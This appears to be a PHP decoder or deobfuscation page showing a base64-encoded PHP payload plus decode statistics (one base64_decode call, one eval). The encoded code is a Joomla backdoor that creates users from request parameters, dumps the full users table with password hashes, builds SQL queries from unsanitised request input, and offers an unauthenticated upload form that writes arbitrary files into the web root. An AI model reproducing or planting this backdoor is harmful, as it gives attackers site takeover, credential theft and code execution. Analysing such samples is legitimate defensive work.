2VyDQoJIA0KCWlmICghJHVzZXItPmJpbmQoJGRhdGEpKSB7IC8vIG5vdyBiaW5kIHRoZSBkYXRhIHRvIHRoZSBKVXNlciBPYmplY3QsIGlmIGl0IG5vdCB3b3Jrcy4uLi4NCgkJSkVycm9yOjpyYWlzZVdhcm5pbmcoJycsIEpUZXh0OjpfKCAkdXNlci0+Z2V0RXJyb3IoKSkpOyAvLyAuLi5yYWlzZSBhbiBXYXJuaW5nDQoJfQ0KCSANCglpZiAoISR1c2VyLT5zYXZlKCkpIHsgLy8gaWYgdGhlIHVzZXIgaXMgTk9UIHNhdmVkLi4uDQoJCUpFcnJvcjo6cmFpc2VXYXJuaW5nKCcnLCBKVGV4dDo6XyggJHVzZXItPmdldEVycm9yKCkpKTsgLy8gLi4ucmFpc2UgYW4gV2FybmluZw0KCX0NCgkgDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlci0+dXNlcm5hbWUgLiAiIGNyZWF0ZWQhIik7IC8vIGVsc2UgcmV0dXJuIHRoZSBuZXcgSlVzZXIgb2JqZWN0DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9jYXRzJ10pKSB7DQoJJGNhdF91cmxzID0gYXJyYXkoKTsNCgkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlLCAjX19tZW51LnBhdGggQVMgbWVudV9wYXRoLCBDT1VOVCgjX19jb250ZW50LmlkKSBBUyBjb3VudF9hcnRpY2xlcyBGUk9NICNfX2NhdGVnb3JpZXMgDQoJSU5ORVIgSk9JTiAjX19jb250ZW50IE9OICNfX2NhdGVnb3JpZXMuaWQgPSAjX19jb250ZW50LmNhdGlkIA0KCUlOTkVSIEpPSU4gI19fbWVudSBPTiAjX19jYXRlZ29yaWVzLmlkID0gUkVQTEFDRSgjX19tZW51LmxpbmssICdpbmRleC5waHA/b3B0aW9uPWNvbV9jb250ZW50JnZpZXc9Y2F0ZWdvcnkmbGF5b3V0PWJsb2cmaWQ9JywgJycpDQoJR1JPVVAgQlkgI19fY2F0ZWdvcmllcy5pZCBPUkRFUiBCWSAjX19jYXRlZ29yaWVzLnRpdGxlICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCglmb3IgKCRpPTAsJGxlbj1jb3VudCgkY2F0cyk7JGk8JGxlbjskaSsrKSB7DQoJCSRjYXRzWyRpXS0+cGF0aCA9IGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJGNhdHNbJGldLT5tZW51X3BhdGgpOw0KCQl1bnNldCgkY2F0c1skaV0tPm1lbnVfcGF0aCk7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjYXRzKSkgew0KCQkkc3FsID0gIlNFTEVDVCAjX19jYXRlZ29yaWVzLmlkLCAjX19jYXRlZ29yaWVzLnRpdGxlIEZST00gI19fY2F0ZWdvcmllcyAiOw0KCQkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCQkkY2F0cyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsNCgkJZm9yICgkaT0wLCRsZW49Y291bnQoJGNhdHMpOyRpPCRsZW47JGkrKykgew0KCQkJJGNhdHNbJGldLT5wYXRoID0gZ2V0X2Z1bGxfcGF0aChKVVJJOjpiYXNlKCkgLiAnaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWNhdGVnb3J5JmxheW91dD1ibG9nJmlkPScgLiAkY2F0c1skaV0tPmlkKTsNCgkJCSRjYXRzWyRpXS0+Y291bnRfYXJ0aWNsZXMgPSAnPyc7DQoJCX0NCgl9DQoJDQoJcHJpbnQgYXJyYXlfdG9fanNvbigkY2F0cyk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF91c2VyJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgKiBGUk9NICNfX3VzZXJzICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkdXNlcnMgPSAkZGItPmxvYWRPYmplY3RMaXN0KCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkdXNlcnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXJ0aWNsZXNfbGlzdCddKSkgew0KCSRvZmZzZXQgPSAwOw0KCSRhcnRpY2xlc19udW0gPSA1MDsNCgkkYWxsX2FydGljbGVzID0gYXJyYXkoKTsNCgkNCgkkY29uZCA9ICcnOw0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NlYXJjaF9ieV90aXRsZSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAjX19jb250ZW50LnRpdGxlIExJS0UgJyV7JF9SRVFVRVNUWydzZWFyY2hfYnlfdGl0bGUnXX0lJyAiOw0KCX0NCgkNCglpZighZW1wdHkoJF9SRVFVRVNUWydzZWFyY2hfYnlfYm9keSddKSkgew0KCQkkY29uZCAuPSAiIEFORCAoI19fY29udGVudC5mdWxsdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJyBPUiAjX19jb250ZW50LmludHJvdGV4dCBMSUtFICcleyRfUkVRVUVTVFsnc2VhcmNoX2J5X2JvZHknXX0lJykgIjsNCgl9DQoJDQoJaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2FsaWFzJ10pKSB7DQoJCSRjb25kIC49ICIgQU5EICNfX2NvbnRlbnQuYWxpYXMgTElLRSAnJXskX1JFUVVFU1RbJ3NlYXJjaF9ieV9hbGlhcyddfSUnICI7DQoJfQ0KCQ0KCWlmKGVtcHR5KCRjb25kKSkgew0KCQkkY29uZCA9ICcgQU5EIDI9MiAnOw0KCX0NCgkNCglkbyB7DQoJCSRzcWwgPSAiU0VMRUNUICNfX2NvbnRlbnQuaWQsICNfX2NvbnRlbnQudGl0bGUsICNfX2NvbnRlbnQuZnVsbHRleHQsICNfX2NvbnRlbnQuaW50cm90ZXh0LCAjX19jb250ZW50LmFsaWFzIEZST00gI19fY29udGVudCBXSEVSRSAxPTEgeyRjb25kfSBPUkRFUiBCWSBgdGl0bGVgIExJTUlUIHskb2Zmc2V0fSwgJGFydGljbGVzX251bSAiOyAvLyBwcmVwYXJlIHF1ZXJ5DQoJCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJCSRhcnRpY2xlcyA9ICRkYi0+bG9hZE9iamVjdExpc3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoJCSRhbGxfYXJ0aWNsZXMgKz0gJGFydGljbGVzOw0KCQkkb2Zmc2V0ICs9ICRhcnRpY2xlc19udW07DQoJfXdoaWxlKGNvdW50KCRhcnRpY2xlcykgPT0gJGFydGljbGVzX251bSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYWxsX2FydGljbGVzKTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ10pKSB7DQoJJHNxbCA9ICJTRUxFQ1QgY2F0aWQsIGFsaWFzLCBsYW5ndWFnZSBGUk9NICNfX2NvbnRlbnQgV0hFUkUgaWQgPSAneyRfUkVRVUVTVFsnYXJ0aWNsZV9zZWZfdXJsJ119JyAiOw0KCSRkYi0+c2V0UXVlcnkoJHNxbCk7IC8vIGFwcGx5IHF1ZXJ5DQoJJGFydGljbGUgPSAkZGItPmxvYWRPYmplY3QoKTsgLy8gZXhlY3V0ZSBxdWVyeSwgcmV0dXJuIHJlc3VsdCBsaXN0DQoNCgkkc3FsID0gIlNFTEVDVCBwYXRoIEZST00gI19fbWVudSBXSEVSRSBsaW5rIExJS0UgJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1jYXRlZ29yeSYlaWQ9eyRhcnRpY2xlLT5jYXRpZH0nICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0X3BhdGggPSAkZGItPmxvYWRPYmplY3QoKTsNCglpZihpc3NldCgkY2F0X3BhdGgtPnBhdGgpKSB7DQoJCSRzbHVnID0gJF9SRVFVRVNUWydhcnRpY2xlX3NlZl91cmwnXSAuICc6JyAuICRhcnRpY2xlLT5hbGlhczsNCgkJJGNhdHNsdWcgPSAkYXJ0aWNsZS0+Y2F0aWQgLiAnOicgLiAkY2F0X3BhdGgtPnBhdGg7DQoJCSRsaW5rID0gSlJvdXRlOjpfKENvbnRlbnRIZWxwZXJSb3V0ZTo6Z2V0QXJ0aWNsZVJvdXRlKCRzbHVnLCAkY2F0c2x1ZykpOw0KCQlpZighZW1wdHkoJGFydGljbGUtPmxhbmd1YWdlKSkgew0KCQkJJGxpbmsgPSBzdHJfcmVwbGFjZSgnaW5kZXgucGhwLycsICdpbmRleC5waHAvJyAuIHN1YnN0cigkYXJ0aWNsZS0+bGFuZ3VhZ2UsIDAsIDIpIC4gJy8nLCAkbGluayk7DQoJCX0NCgkJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfZnVsbF9wYXRoKCRsaW5rKSk7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1hcnRpY2xlJmlkPScgLiAkX1JFUVVFU1RbJ2FydGljbGVfc2VmX3VybCddKSk7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfbGFuZ3VhZ2VzJ10pKSB7DQoJJGxhbmd1YWdlcyA9IEpMYW5ndWFnZUhlbHBlcjo6Z2V0TGFuZ3VhZ2VzKCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbGFuZ3VhZ2VzKTsvL2xhbmdfY29kZSBJTkRFWCBJUyBVU0VEIEZPUiBJTlNFUlRJTkcgSU5UTyBDT05URU5UDQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9qbV92ZXJzaW9uJ10pKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihKVkVSU0lPTik7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VwbG9hZF9maWxlJ10pKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Im15X2ZpbGUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snbXlfZmlsZSddKSkgew0KCSRiYXNlX25hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydteV9maWxlJ11bJ25hbWUnXSk7DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ215X2ZpbGUnXVsndG1wX25hbWUnXSwgJGJhc2VfbmFtZSkpIHsNCgkJcHJpbnQgJzxhIGhyZWY9IicuJGJhc2VfbmFtZS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kYmFzZV9uYW1lLic8L2E+JzsNCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9hcGlfdmVyc2lvbiddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoJ2FwaV92ZXJzaW9uJyA9PiBudW1iZXJfZm9ybWF0KEFQSV9WRVJTSU9OLCAyKSkpOw0KfQ0KPz4=")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 5784d47904970ed8a8a74161bc0895a0 |
Eval Count | 1 |
Decode Time | 101 ms |